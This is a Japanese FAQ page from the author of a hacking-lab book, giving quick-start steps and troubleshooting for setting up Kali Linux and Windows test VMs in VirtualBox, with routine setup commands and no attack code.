【これからハッキング・ラボに挑戦する方へ】ハッキング・ラボのためにKaliの環境を最速で構築する!【超重要】
本書に載っている内容をすべて順を追ってやならければならないというわけではありません。 最速で実験環境を構築するのであれば、次をやるだけです。 1:Kaliの仮想マシンを作る。 2:Kaliの仮想マシンに最低限の環境だけ作る。 内容としては、「日本語キーボードの設定」「仮想ネットワークに参加させる」「apt update」 これで以上です。 後は、Windows 7/10(4章)、やMetasploitable(5章)のハッキングにいきなり挑戦してもまったく問題ありません。 Happy Hacking! 以下では、最速の環境構築について、本のページ数と対応させました。 【大前提】 ・Kaliのバージョンが上がって、バージョン2020.4以降は本の内容と以下の点で大きく変わりました。 ・管理者権限を要するコマンドを実行する際には、sudoコマンドを併用する。 ※sudoコマンドとは何を指しているのかわからない場合は、簡単なLinuxのコマンド本を先に読んでおくことをおすすめします。 【Kaliの環境構築】 必須事項は○、不要な項目は×、やったほう項目は△という記号を頭に付けています。 ○ VirtualBoxをインストールする P032-036 ○ Kaliのovaファイルをダウンロードする P038-039 ○ Kaliの仮想環境をインストールする(ovaファイルをインポートする) P040 本に記載しているVirtualBoxの見た目と異なりますが、仮想アプライアンスのインポートからovaファイルを指定するところは変わりません。 ○ Kaliにログインする P046 ログイン時はroot(パスワード:toor)ではなく、kali(パスワードはkali) × 解像度の変更 P052 △ スクリーンロックを無効にする P054 ○ 日本語キーボードに対応させる P055 × 日本語表示にする P057 △ タイムゾーンを日本にする P058 × 日本語入力できるようにする P059 バージョンが上がったことで使用するソフトが大きく変わりました。また、実験に直接関係がないので飛ばすことを推奨します。 ※挑戦してみたい方は、下記に紹介するラボ仲間の記事を参考にしてください。 また、本の形できちんと読みたい場合は『ハッキング・ラボの構築で困ったら読む本』を参考にしてください。 ○ ネットワークの基礎を理解する P064-076 ○ Kaliのネットワークを設定する P077-089 ※最新のVirtualBoxでは、P082のパターンBになります。 ※どうしてもネットワークの設定がうまくいかない場合は、①VirtualBoxのホストネットワークマネージャ―、②アダプター(仮想LANアダプター)、③Kaliの3つの設定の整合性が欠けている可能性が大です。 ※よく質問が多い箇所なので、『ハッキング・ラボの構築で困ったら読む本』では丁寧に解説しました。 △ パッケージのアップデート P090 ステップ2のapt updateまでを実行してください。 ステップ3のapt upgradeは(とりあえず)飛ばすことを推奨します! × rootのパスワードを変更する P091 × ユーザーを追加する P091 × SSHの環境を構築する P092-106 P092の下から6行目をよく読んでください。ここで必須事項ではないことを明言しています。 KaliにSSHでアクセスする状況は、箇条書きの3つのパターンぐらいです。本書ではKaliの仮想マシンを直接操作するので、SSHの設定は不要なのです。 ただし、SSHの設定を通じてLinuxやネットワークの知識を身に付けることはできますので、やってみることは無駄にはなりません。 △ 自動サスペンド機能を無効にする P107 × Filesの隠しファイルの表示の有効化 新しいKaliでは、Filesというソフトではなくなりました。 △ Terminalをカスタマイズする P110 △ Terminalをショートカットキーで起動する P110 △ Terminalを拡張する P112-115 【ホストOS(Win)側の環境構築】 3章はホストOSのWindows 10の便利機能を紹介しているだけであり、必須で設定するというものではありません。 はまるポイントもいくつかあるので、簡単に目を通すだけにしておき、飛ばすことを推奨します。 後で余裕があるときに振り返ってみるとよいでしょう。 【補足】Twitterで #ハッキングラボ というハッシュタグをつけて質問するとラボ仲間がアドバイスしてくれるかもしれません。 ただし、「うまくいかない」という発言だけでは状況がまったくわからず、アドバイスできません。 設定状態、実行したコマンド、画面の表示、エラーメッセージの画面などのスクリーンショットも一緒に添付してツイートしてください。
『ハッキング・ラボの構築で困ったら読む本』が発売されました
最新のKaliと、『ハッキング・ラボのつくりかた』で解説しているKaliで、見た目がかなり変わりました。 外見だけでなく、設定については変わった箇所が少々あります。 その差を埋めるために、『ハッキング・ラボの構築で困ったら読む本』を2020年2月に発売しました。 本来であれば、新しい『ハッキング・ラボのつくりかた』を出すべきだと思います。 しかし、それは実現するのに様々なハードルがあるため、この本を出しました。 (お金儲けでこの本を出したわけではなく、Kaliのバージョンアップで困っている人がいると思い書きました)
『ハッキング・ラボの構築で困ったら読む本』はBOOTHにて購入可能です。『ハッキング・ラボのつくりかた』(翔泳社)は、仮想化ソフトであるVirtualBoxを用いて、安全にハッキングの実験を実現することを目的とした本です。 2018年12月に発売され、今日に至るまで多くの方が手に取っていただきました。
『ハッキング・ラボのつくりかた』では、攻撃用OSとしてKali Linux(以後、Kaliと略す)を採用しました。 Kaliは日々進化しており、1年に4回バージョンアップしています。 そして、2019年12月にリリースされたKali 2019.4では、ユーザーインターフェースが大幅に変更され、『ハッキング・ラボのつくりかた』の解説と若干のギャップが生じました。 その差を埋めたいと思ったのが、本書を執筆する1つ目の動機になります。
また、『ハッキング・ラボのつくりかた』では、仮想環境のホストOSにWindowsを想定していましたが、嬉しいことに多くのMacユーザーがハッキング・ラボに興味を持ってくれました。 同時にMacユーザーからハッキング・ラボについての問い合わせが多く、それを解決したいと思ったのが、本書を執筆する2つ目の動機になります。
以上を踏まえて、本書を執筆するにあたり、Macの実機を用意してハッキング・ラボの環境を構築・検証しました。 本書を通じて、Mac上にハッキング・ラボを簡単に構築できるはずです。
書籍の通りに実行したがうまくいかない
誤字や誤植が原因の可能性もあるので、翔泳社の公式ページにある正誤表を確認してください。 (誤字・誤植等を発見した場合は、翔泳社のページから投稿していただければ助かります) 誤字等にも関係がなく、問題が解決しない場合は、このページを参考にしてください。 また、書籍内の注釈やコラムにも注目してください。そこにヒントが書かれていることもあります。 本書にはコラムの目次が入っていないので、別途用意しました>コラムのリンク。 特に★マークのコラムは要チェックです。
ハッキング・ラボの構築で参考になるサイトを教えてください
多くのラボ仲間たちがハッキング・ラボを読破し、実験の様子を記事にまとめてくれています。 Googleで検索してみることをおすすめします。 最新Kali(Kali 2020.1以降)でハッキング・ラボの実験をまとめてくれているブログを以下に紹介します。 ・ハッキング・ラボのつくりかたでつまったとこ1…Kali 2020.2 ・ハッキングラボで楽しく遊びたかった その1…Docker上でハッキング・ラボ、Kali 2020.2? ・Kali Linux 2020.2の主な新機能と変更点…Kali 2020.2 ・「「ハッキングラボのつくりかた」での Kali Linux の仮想環境構築」…Kali 2020.1? ・「geek開発日誌」>「ハッキング」タグ…Kali 2020.1、kaliユーザー ・「ハッキングラボのつくりかたをやってみて試行錯誤した点」…Kali 2020.1、kaliユーザー ・「「ハッキング・ラボのつくりかた」をサイバーセキュリティ初心者がトレースしてみた」…Kali 2020.1、rootユーザー ・ハッキング・ラボの作り方 - Kali Linux(2020.1) VirtualBox 64-bit編 -…Kali 2020.1、kaliユーザー 漏れているサイトがあれば、自薦・他薦問いませんので、IPUSIRON(@ipusiron)宛に是非お知らせください。 自分で知らせるのは気が引ける場合は、Twitterで「#ハッキングラボ」というハッシュタグを付けてツイートしてください。 これだけで私が後日気付きますので、FAQページに反映したいと思います。
ダウンロードサイトでKaliのovaファイルをダウンロードしたい 【第1部 第2章 P038】
https://www.kali.org/downloads/にアクセスします。 Kali Linux 64-bit VirtualBoxの右側の"Offensive Security VM Download Page"のリンクを押します。 仮想マシンをダウンロードできるページにアクセスしますが、最初に表示されているのがVMware用のファイルです。 これではなく、「KALI LINUX VIRTUALBOX IMAGES」の左の「+」を押すと、VirtualBox用のファイルのリンクが現れます。 ここから、「Kali Linux VirtualBox 64-Bit (OVA)」をダウンロードします。 その際、Torrentのリンクからダウンロードは不要です(やらない方が無難)。
μTorrentをインストールする際の注意 【第1部 第2章 P038】
μTorrentをインストールするには、インストーラーを起動します。 インストーラーを起動して、基本的にはウィザードの指示にしたがうだけですが、途中で余計なソフトウェア(AvastやWinZipなど)のインストールが促されることがあります。 RedEye/h+JP(@wolfgunglay)さんの報告によると、下手するとWeb Companionというスパイウェアもどきがインストールされてしまうことがあるようです。 without(付属させない)やDecline(辞退する)を選択して、進めてください。 万が一Web Companionに感染してしまった場合、ネットで削除ツールが配布されています。 また、システム復元が有効です。 心配であれば、μtorrentを使わずに、ブラウザで直接Kaliをダウンロードすることをおすすめします。 なお、インストーラーを使って余計なソフトウェアがインストールされてしまう問題は、μTorrentだけの話ではありません。 他のソフトウェアでも同様のインストーラーの仕組みが採用されているので、注意してください(注意さえすれば無害)。
Kaliをダウンロードしたファイルがovaファイルではない 【第1部 第2章 P040】
仮想マシン用のKaliのダウンロードページは こちらになります。
Kaliの仮想ファイル(ovaファイル)をダウンロードしようとすると文字化けしてダウンロードが始まらない。 【第1部 第2章 P040】
Microsft Edgeなどの一部のブラウザでovaファイルをダウンロードしようとすると文字化けの画面が表示されるという報告がありました。 別のブラウザ(Chromeなど)を用いるとダウンロードできるそうです。 以下の記事も参考になります。 ・Microsoft Edge での Kaliダウンロード と VirtualBox での Kali起動 が失敗した話 と その解決方法
Kaliのバージョンについて 【第1部 第2章 P041】
Kaliは日々進化しているので、最新バージョンをダウンロードしてください。 本書の執筆時はKaliのバージョンは2018.2が最新でしたが、2018年12月の時点でバージョン2018.4が出ています。ダウンロードしたバージョンに合わせて、本書内のファイル名や仮想マシン名を適時読み換えてください。
Kaliのインポート時にエラーが発生する 【第1部 第2章 P041】
仮想マシンのインストールフォルダーが存在することを確認してください。 解説文における「もとの仮想マシン名」のフォルダーは自動生成されますが、それより上(VBoxフォルダー)は事前に手動で作っておく必要があります。 例えば、次のようにしてフォルダーを事前に作っておきます。 1:Windowsであれば"C:\"配下に、VM_Guestフォルダーを作成します。 macOSであれば、"/Users/<ユーザー名>"配下に、VM_Guestフォルダーを作成します。 なお、複数ユーザーで共有したい場合は、HDD直下の"/VM_Guest"フォルダーを作成します。 このフォルダーのパーミッションがdrwxr-xr-xであり、ovaファイルのインポート時に書き込みできません。 そこで、Terminal上で次のコマンドでVM_Guestフォルダーに書き込み権限を与えます。
$ cd / $ sudo chmod 777 VM_Guest2:VM_Guestフォルダーの下に、VBoxフォルダーを作成します。 (ステップ1でchmodコマンドを実行した際は、VBoxフォルダーのパーミッションを確かめて、ここも書き込み権限を与えます) 3:Kaliのインポート時に、vmdkファイルが展開されるパスを確認します。 これでインポートに成功するはずです。
VirtualBoxの左ペインに表示される仮想マシンアイコンに「アクセスできません」と出て、起動できない 【第1部 第2章 P044】
次の方法で解決したという報告を受けました。 ・「VirtualBox Cannot attach medium VBOX_E_OBJECT_IN_USE (0x80BB000C) - エラー対処法」 ・「VirtualBoxで「選択した仮想マシンにアクセスできません」となる」
Kaliを起動すると画面が真っ暗で進まない 【第1部 第2章 P044-】
Kaliを再起動してから、次の画面が出て、それ後で真っ暗になってしまうという現象を数件報告されています。
Kaliの起動時に"Resuming from hibernation"エラー 【第1部 第2章 P045】
Kaliを起動し、"Kali GNU/Linux"を選択し[Enter]キーをクリックすると、"Resuming from hibernation"が表示され、ログインができないことがあるという報告を受けました(レアケース)。 これを解消するために、GRUBのブート画面にて"Advanced Options for Kali GNU/Linux"→"Kali GNU/Linux, with Linux 5.2.0-kali2-amd64(recovery mode)"を選択しようとしたが、キーボードから入力できないという現象に陥ったそうです。 VirtualBoxにて仮想マシンの設定画面のディスプレイから「3Dアクセラレーションを有効化」のチェックを外すことで、"Resuming from hibernation"エラーが解消されたそうです。 ・参考情報元
最新バージョンで日本語環境がうまくいかない 【第1部 第2章 P055-】
Kali 2019.4から、かなりインタフェースが変わりました。 そのため、GUIよりCUIで日本語環境を構築した方がよいでしょう。 以下の記事が参考になります。 ・「Kali Linux ver2019.4の導入と日本語化」 ・うさmさんのレポート←MacキーボードをKaliで使う場合の注意点
日本語入力の設定において、インストールがうまくいかない 【第1部 第2章 P060】
【Kali 2019.4以降】 Kali 2019.4以降(Xfce版)では、日本語環境の構築方法ががらりと変わりました。 『ハッキング・ラボの構築で困ったら読む本』にGUIで設定する方法を載せています。 また、CUIで設定する際には、以下のコマンドを試してみてください。 mihaさんの報告を参考にしました。
1.パッケージ更新する。 # apt-get update 2.日本語入力のパッケージをインストール # apt install -y task-japanese task-japanese-desktop 3.キーボードを日本語に。XKBLAYOUT="us"をjp # vi /etc/default/keyboard 4.タイムゾーンをtokyoに変更する # dpkg-reconfigure tzdata【Kali 2019.3以前】 ステップ①のapt intallがうまくいかない場合は、以下を試してみてください。
- Kaliは最新版であること。⇒古いKaliの場合、リポジトリの関係でaptコマンドがうまくいかないことがあります。対処方法についてはコラム「apt updateコマンドの実行時のエラー」(P126)を参照してください。
- Kaliを一度終了して、起動し直してからコマンドをやり直してみる。
- apt updateコマンドを実行してから、apt installコマンドを試す。
ネットワーク構成がわかりにくい 【第1部 第2章 P077】
図2-49はハッキング・ラボで構築するネットワーク構成になります。 ゲストOS Kaliが2つ現れていることに注目してください。 これは同一であり、仮想のLANアダプターを2つ設定することでこうなっています(図2-43の画面にあるアダプター1とアダプター2に相当する)。 VirtualBoxでの仮想ネットワークを構築する際には、次の3つの項目を合致させなければ、正常に通信できません。 ・VirtualBoxのネットワーク設定 ・仮想マシンのアダプターの設定 ・ゲストOSのネットワーク設定 皆さんからの質問を見るとここが大きなはまりポイントであるようです。 そのため、『ハッキング・ラボの構築で困ったら読む本』で丁寧に解説しました。 この辺りの設定に自信がない方は、一読することをおすすめします。
仮想LANアダプターを追加できない 【第1部 第2章 P080】
仮想マシン(ここではKali)を起動したままだと、「アダプター2」をクリックできず、設定ができません。同様に他のコアな項目もいじれません。
仮想マシンにホストオンリーアダプターを追加したら起動できなくなった 【第1部 第2章 P080-89】
仮想マシンの起動時に"VERR_SUPDRV_COMPONENT_NOT_FOUND"というメッセージのエラーが表示された場合、ホストOS(Windows 10など)の対象のVirtualBox Host-Only Ethernet Adapterの設定を確認してください。
ホストネットワークマネージャ―が見つからない 【第1部 第2章 P081】
VirtualBoxのバージョンによって、ホストネットワークマネージャ―の項目の場所が異なります。 P081の上部の数行を再確認してください。 次の2パターンがあります。 ・P81のケースA ・P82のケースB パターンA(ホストネットワークマネージャがメニューにない場合)は「ホストオンリーネットワーク」タブがありますが、パターンB(ホストネットワークマネージャがメニューにある場合)はそのタブが存在しません。その代わりに、ホストネットワークマネージャで同等の設定が可能になります。 それでも見つからない場合、見ている設定画面が間違っている可能性があります。 VirtualBoxの設定画面やメニューに注目していることを確認してください。仮想マシンの画面に対する設定画面やメニューではありません。 ホストネットワークマネージャ―は仮想マシン全体に影響する設定であるため、VirtualBoxに対する設定になります。
"/etc/network/interfaces"ファイルの保存方法がわからない 【第1部 第2章 P085など】
viの操作については、P85の注釈*34で述べています。
viで保存しようとして"is only read(add ! to override)"と出てしまう。 【第1部 第2章 P085など】
ファイルの編集権限がありません。 ・viを起動する時点で、sudoコマンドを付ける。 ・一度開いてしまったものであれば、「:w !suto tee %」で保存できる。 ←NANASE(@gojila0077)さんの報告より。
viで編集しようとするとswapファイルが存在するという警告が表示された 【第1部 第2章 P085など】
root@kali:~# vi test.txt
仮想マシンのネットワークがおかしい 【第1部 第2章 P088など】
Kaliなどでifconfigコマンドを実行しても、本の結果と一致せず、ネットワークがおかしい状態になることがあります。この原因や対処法については、次のコラムを参照してください。
- コラム「どうしてもネットワークに接続できない場合」(P089)
- コラム「仮想LANアダプターを変更してもIPアドレスが正しくない場合」(P487)
ホストOSへのPingがうまくいかない 【第1部 第2部 P089】
この時点ではKaliの仮想マシンからインターネットへPingが通っていれば問題ありません。本書の後半でホストOSとゲストOSの通信が必要であるため、念のためにホストOSにPingしているだけです。よって、ホストOSではPing応答の設定をせずに、本書を読み進めてもよいでしょう。 もしPing応答を確認したい場合には、次の設定を確認してください。
- ホストOSがPingの応答を返す設定になっていること
- 仮想マシンのLANアダプターがホストOSにpingできるようなネットワークであること
- Windows 7の場合、【第2部 第4章 P222】の「Windowsの初期設定」のステップ③
- Windows 10の場合、【第2部 第4章 P310】の「Windows 10の初期設定」のステップ④
apt updateで"Hash Sum mismatch"エラーが発生する 【第1部 第2章 P090】
AQUA(@Aqua_ix)さんの報告によると、apt updateで"Hash Sum mismatch"エラーが発生した場合は、次のコマンドを実行することで解決したようです。
$ sudo bash # mkdir /etc/gcrypt # echo all >> /etc/gcrypt/hwf.deny $ sudo apt-get update
apt upgrade後に画面が真っ暗になってしまう 【第1部 第2章 P090-091】
Kaliのバージョンによっては、apt upgrade後に画面が真っ暗になる現象が起きるようです。 場合によっては仮想コンソールも効かなくなるようです。 ・reed(@reed77734548)さんの報告 ・ぶる太郎(@se_share)さんの報告 Linux初心者でコマンド入力が苦手であれば、あえてapt updateはするがapt upgradeをしないという手もあります(インストールにapt updateが必要)。 Kaliは1年に4回もバージョンアップしてリリースされるので、apt upgradeをしなくても、その新しいバージョンのKaliを使っていってもよいでしょう。 もし、画面が真っ暗になってしまった場合は、解決アプローチが役に立つかもしれません(原因によってはうまくいかない場合もある)。 解決策① Guest Additionsのインストール 【参考サイト】 解決策② sudo apt dist-upgrade → reboot
ログインループしてしまう 【第1部 第2章 P090】
はぁこ(@paco_itengineer)さんの報告によれば、apt upgrade中に放置していたところ、いつの間にかログイン画面が表示され、認証してもログイン画面がループするようになってしまったようです。 解決方法は、以下の記事が参考になります。 ・「Kali-Linuxでログイン画面の無限ループから抜け出した方法」
ユーザーのホームディレクトリが生成されない 【第1部 第2部 P091】
ユーザーを追加するにはuseraddコマンドを用いますが、-mオプションを付け忘れると、ホームディレクトリが生成されません。 ホームディレクトリが存在しないと、そのユーザーでログインした直後のカレントディレクトリに"/"ディレクトリになります。また、P104のようにSCPでファイルを転送しようとしても、「TTSSH:SCP error」というエラー(エラーメッセージは"Could not chdir to home directory /home/<ユーザー名>: No such file or direcotory")が表示されます。
SSHホスト鍵の再生成時にエラーが発生する 【第1部 第2部 P095】
dpkg-reconfigure openssh-serverコマンドを実行したときに、"rescue-ssh.target is a disabled or a static unit, not starting it."というエラーが発生することがあるようです。 対処法はdpkg-reconfigureでsshホスト鍵を再生成したときの問題で解説されています。
"dpkg-reconfigure: command not found"と表示されてコマンドが実行できない 【第1部 第2部 P095】
ぽい(@PoincianaM)さんの報告によれば、"/usr/sbin"のパスが通っていないことが原因のようです。 次のコマンドのようにexportコマンドでパスを通すと、dpkg-reconfigureコマンドを実行できます。
$ echo $PATH ("/usr/sbin"が入っていない。これが原因) $ export PATH=$PATH:/usr/sbin
ホストOSからKaliにSSHアクセスできない 【第1部 第2部 P097】
まずホストOSからKaliにPingが通ることを確認します。Pingが通らなければ、ネットワークに異常があります。 原因はいくつか考えられます。 ①KaliのIPアドレスがおかしい。 ②Kaliの仮想NICに、10.0.0.x用のVritualBox Host-Only Ethernet Adapterが指定されていない。 ⇒ホストネットワークマネージャで10.0.0.x系の仮想ネットワークを調べて、仮想マシンのKaliのネットワーク設定のアダプターと対応しているかを確認してみてください。 ③ホストOSに、仮想ネットワークのIPアドレスが割り当てられていない。 ⇒MiKe(@MIKE_Tokyo)さんが報告してくれました。 ②の問題かどうかを調べるために、コマンドプロンプトipconfigコマンドを実行して、10.0.0.1が割り当てられているかを確認します。 もし割り当てられいなければ、VirtualBoxのホストネットワークマネージャーを開きます。 そこに設定済みの仮想ネットワーク(VritualBox Host-Only Network)が一覧表示されます。 この内容と、ipconfigコマンドで表示された仮想ネットワークと整合性があっているかを確認します。 なぜか、報告では整合性が合っていませんでした。 (これが本質的な問題ではないが、これはこれで腑に落ちない)
SSHでrootログインできない 【第1部 第2章 P100】
"/etc/ssh/sshd_config"ファイルを設定しますが、その際、PermitRootLoginの頭にあるコメントアウトを外すのを忘れないようにしてください。
SSHに公開鍵認証でログインできない 【第1部 第2章 P102】
ステップ②にて公開鍵認証したいユーザーを指定して、パスワード認証でSSHログインしています。本書ではrootユーザーで公開鍵認証するつもりなので、rootでSSHログインしています。そのため、このステップにおけるコマンドでは#での処理になっています。 もしその他のユーザーでSSHログインした場合は、$のプロンプトのまま(suでrootになる必要はない)で本書のコマンドを実行してください。 ステップ③(P106)では、/etc/ssh/sshd_configファイルを設定します。第1刷では"ssh_config"と誤植になっているので注意してください。もしまだ未修整であれば、翔泳社の正誤表を参照してください。 ステップ④(P107)の図2-68ではユーザー名にrootを指定して認証しようとしています。もしその他のユーザーで公開鍵認証するための設定をした場合には、そのユーザー名を指定してください。 以下の画像は、虎牙龍樹(@kogaryuju)さんに協力していただた結果です。ありがとうございます。参考にしてください。
Filesにて「Show Hidden Files」が見つからない 【第1部 第2章 P109】
Karasawa Kiko(@krswk)さんの報告によると、Kali 2019.1ではFilesの「Show Hidden Files」の位置が変わったようです。 「Toggle view」ボタンの右にある下矢印を選ぶと、表示関連の項目が表示されます。ここでソートする項目や拡張子などを選択でき、「Show Hidden Files」も存在します。 次の画面はKali 2019.1のFilesです。
Filesが見つからない 【第1部 第2章 P116】
『ハッキング・ラボのつくりかた』ではファイルエクスプローラーとしてFilesで解説していましたが、Kali 2019.4以降(Xfce版)ではXfce版のKaliでは代わりにThunarを扱います。 インタフェースは若干変わっています。
apt update実行時にエラーが発生する【第1部 第2章 P126】
apt updateコマンドを実行した際にエラーが発生する理由は様々です。 ・まず確認すべき情報は、Kaliの公式サイトのsources.listについてのページです。 ・RomHIRAGA(@RomHIRAGA)さんの報告によると、VirtualBoxのリポジトリファイル("/etc/apt/sources.list.d/virtualbox.list"ファイル)が参照されているようです。 「How to install latest VirtualBox on Kali Linux Rolling」の記事も参考になります。 ・実行時にlockファイルのエラーが発生する。 しばらく放置したり再起動したりすれば、エラーはいずれ解消するが、すぐに対応したい場合はlockファイルを削除する。 「apt-getでエラーが出た場合の対処法:E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)」や「E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable) [duplicate]」を参考にして、いくつかのlockファイルを削除してみてください。
ブラウザでmanページが表示されない 【第1部 第3章 P134】
川上裕己(@yuki_kyuki>)さんの報告によると、ホストOS側のブラウザでmanページを表示しようとしても、権限エラーで表示されないそうです(localhostからは見られる)。 (これまではこのような指摘がなかったので、Kali 2019.3以降?から起こるようになったのかもしれません)
「共有フォルダー」の設定項目について教えてください 【第1部 第3章 P152】
最新のVirtualBoxの場合、「共有フォルダー」の設定項目が増えています。 ・永続化する:チェックを入れてください ・Mount Point:空のまま マウントポイントとは、マウント先のディレクトリのことです(P156の①で解説)。 P156のステップ①の後で、/shareを作った後であれば、ここで指定してもよいでしょう。 [OK]ボタンが押せない場合は、パスの書式が間違っている可能性があります。
Guest Additionsをマウントした際に表示されるダイアログで[Cancel]ボタンではなく[Run]ボタンを実行してしまった 【第1部 第3章 P154】
[Run]ボタンを押してGuest Additionsのインストールスクリプトが自動起動するLinuxもありますが、Kaliの場合はうまくいきません。Kali Linuxの初期状態では、マウントされたファイルシステムのバイナリを実行できないようになっているためです。そのため、本書では[Cancel]ボタンを押すように指示しています。 Kaliで[Run]ボタンを押すと、"Oops!"というエラー画面が出ます。
root@kali:~# ls /media/cdrom ←CDがマウントされたときにその中身を確認。 32Bit OS2 VBoxWindowsAdditions-amd64.exe 64Bit runasroot.sh VBoxWindowsAdditions.exe AUTORUN.INF TRANS.TBL VBoxWindowsAdditions-x86.exe autorun.sh VBoxLinuxAdditions.runこの時点でデスクトップにCDアイコンが表示されない場合は、次のFAQを参考にしてください。 なお、次の記事を参考にして、事前にマウントされたファイルシステムのバイナリを実行できるようにして、その後でP153のステップ3を開始するという手もあります。 ・Virtualboxのゲスト(Kali Linux)でguest addition CD imageを実行できない問題
VirtualBox6.0でGuest Additionsのインストールに失敗してしまう 【第1部 第3章 P153】
Guest Additionsのインストールに失敗すると、結果的に様々な制約を受けます。 特にこのページで解説しているファイル共有機能の恩恵も受けられません。 RomHIRAGA(@RomHIRAGA)さんの報告によると、apt update、apt upgrade、apt dist-upgradeコマンドを実行してからURLの方法を試すことで、共有フォルダーのマウントが復活したそうです。 ・Kali Linux VirtualBox Guest
Guest Additionsのインストールは必要か 【第1部 第3章 P154】
Kali 2019.4以降(Xfce版)ではGuest Addtionsはすでに導入済みなので、『ハッキング・ラボのつくりかた』に書いてある作業は不要になります。 詳細は『ハッキング・ラボの構築で困ったら読む本』を参考にしてください。
Guest Additionsのインストール時にCDアイコンが表示されない 【第1部 第3章 P154】
Kaliを再起動してから、ステップ③以降を実行してください。再起動したらCDアイコンが表示されたという報告がありました。 デスクトップに表示されていないだけで内部的にはマウントが完了しています。対処方法は2つがあります。GUIとCUIの方法です。 ≪GUIの方法≫ Filesを起動します。すると、(マウント済みであれば)左側に「VBox~」と表示されるはずです。これを選択すると、マウントされたCDの中身が表示されます。後は、本書の指示通りに、このCDの中身を、デスクトップ上の"vbox"フォルダーの中にコピーします。それ以降は本書の通りです。
root@kali:~# mkdir -p /mnt/cdrom root@kali:~# mount -r /dev/cdrom /mnt/cdrom root@kali:~# ls /mnt/cdrom (ファイルがあれば成功。空なら失敗)2:次を実行してインストールします。
デスクトップにsf_shareフォルダーのアイコンは表示されないかもしれませんが、内部的には共有フォルダーのマウントに成功するそうです。anitech(@anitech19)さんに検証していただきました。ありがとうございます。 なお、マウントを解除して元の状態に戻したければ、 仮想マシンのメニューの「デバイス」>「光学ドライブ」>「仮想ディスクからディスクを除去」を選びます。 すると 「仮想光学ディスク~をマシン~から取り出せません。このディスクを強制排出してみますか?」という確認ダイアログが表示されるので、[強制マウント解除]ボタンを押します。すると、ディスクのマウントが解除されるはずです。root@kali:~# chmod +x /mnt/cdrom/VBoxLinuxAdditions.run ←不要かもしれない。←これを実行しても"chmod: changing permissions of '/mnt/cdrom/VBoxLinuxAdditions.run': Read-only file system"と表示される。 root@kali:~# ls -la /mnt/cdrom/VBoxLinuxAdditions.run -r-xr-xr-x 1 root root 7321038 Jul 16 2018 /mnt/cdrom/VBoxLinuxAdditions.run ←実行権限が付いているので、問題なし。 root@kali:~# sh /mnt/cdrom/VBoxLinuxAdditions.run ←インストール用のスクリプトを実行する。
Kali側から"/media/sf_share"内のsample.txtファイルが見えない 【第1部 第3章 P155】
ホストOS(Windows 10)側のshareフォルダーにsample.txtファイルを配置したにもかかわらず、Kali側において"/media/sf_share"内を見ても何も見えないという現象が起きたとします。その場合には、Kaliの仮想マシンの設定を確認してください。
起動時に"[FAILED] Failed to start /etc/rc.local."と表示される 【第1部 第3章 P159】
P156以降の記載されたように共有フォルダーの設定すると、Kaliの起動時に"[FAILED] Failed to start /etc/rc.local."というエラーメッセージが出る可能性があるようです。
# systemctl daemon-reload # systemctl start rc-local.service ("Failed"が出なければOK) # systemctl status rc-local.service (最後に"Suceeded"が出ていればOK)
systemctl status rc-local.serviceコマンドで確認するとエラーが発生している 【第1部 第3章 P159】
1:間違いが多発している箇所なので、まず入力ミスがないことを確認してください。 [例]これまであった記述・スペルミスの例 ・taget⇒target ・[install]⇒[Install] ・Restart=always⇒Restart=no (上記のFAQを参照。正誤表では直っている) 2:P159のコマンドは、systemctl enable rc-local.serviceまでが1行です。 それ以降("Created symlink ~")はコマンドの出力結果です。 2行目の改行マークは出力の折り返しを意味しており、→印も出力されるものであり、入力するものではありません。
ファイル共有の設定後に、Kaliの起動時に"mounting failed with the error"というエラーメッセージが表示される 【第1部 第3章 P159】
RomHIRAGA(@RomHIRAGA)さんの報告によれば、最新のKaliだとP159の設定後に再起動するときに、"/sbin/mount.vboxsf: mounting failed with the error: Protocol error"というメッセージが表示されるそうです。 ただし、共有フォルダ―を使用する分には支障がない。
Python2でpipが起動しない 【第1部 第3章 P206】
じょろさん(@zyorom)の報告によると、ユーザー名が漢字(日本語?)のときにpipがインストールされなかったようです。 半角でユーザー名を作ってからインストールし直すと、pipがインストールされたそうです。
試用版の仮想マシン(Windows7)がダウンロードできない 【第1部 第4章 P216】
MSがWindows7のサポートを終了したためなのか、試用版の仮想マシンのダウンロードページから、Windows
7や8がなくなりました。
2020年1月24日現在では、Windows10しか選べません。
緊急策として、ZIPファイルを一時的にアップしています。
・http://s-akademeia.sakura.ne.jp/main/books/lab/file/IE8.Win7.VirtualBox.zip
・WebArchiveからファイルを直接DL…元のページのアーカイブはここ
・Google DriveからDL
・https://az792536.vo.msecnd.net/vms/VMBuild_20150916/VirtualBox/IE8/IE8.Win7.VirtualBox.zip…私の環境ではDLできませんでしたが、DLできる人もいる(ISPによる?)。
・Official Windows VM download URL archive.md…過去の仮想マシンのファイルのURLが載っている。
(4Gバイトもあるのでなるべく集中的なアクセスは控えてください)
Filename : http://IE8.Win7.VirtualBox.zip MD5 : 342e3d2d163f3ce345cfaa9cb5fa8012海外勢も困っているはずなので、"IE8.Win7.VirtualBox.zip"というファイル名で検索すれば、いずれ他のサイトからもDLできるようになるはずです。 (そのため焦ってDLする必要はないはず)
ovaファイルからインポートしようとしたら、INVALDARGのエラー画面が出る 【第1部 第4章 P216】
KaMiya659(@KaMiya659 )さんの報告によれば、Windows 7の仮想マシンを一度導入した後で、ライセンス延長を忘れてしまったため、再度改めてovaファイルから仮想マシンをインポートしようとしたそうです。 すると、VirtualBoxがINVALIDARGというエラー画面を表示したそうです。 ↑INVALIDARGエラー(このエラーダイアログは詳細を開いた状態) 仮想メディアマネージャーの中に(以前の)Windows 7が残っており、これを削除してからインポートを試みたところ、INVALIDARGエラーが表示されず、成功したといいます。 なお、以下は関連情報。 ・「VirtualBoxの仮想マシンアプライアンスをインポートするとVBOX_E_FILE_ERROR(0x80BB0004)が発生する」 ファイル自体を削除してもメタデータが残っているとエラーが出るようです。この場合も、仮想メディアマネージャーで不要なファイルを削除することが解決するそうです。 ・「VitualBoxにKaliをインポートできない。凡ミスログ」 デフォルトの仮想マシンフォルダーに権限がないとエラーが出るようです。
Windows 7のzipファイルを解凍するとエラーになる 【第2部 第4章 P217】
試用版のWindows 7のzipファイルを展開する場合には、Windows標準の展開ツールを用いると確実です。 のみぞん(@nomizooone)さんの報告によると、Lhaplusなどの解凍ツールを使った場合、エラーでうまく展開できない場合があるそうです。
Windows 7のovaファイルをインポートしようとすると、"E_INVALIDARG (0x80070057)"というエラーが発生する 【第2部 第4章 P217-218】
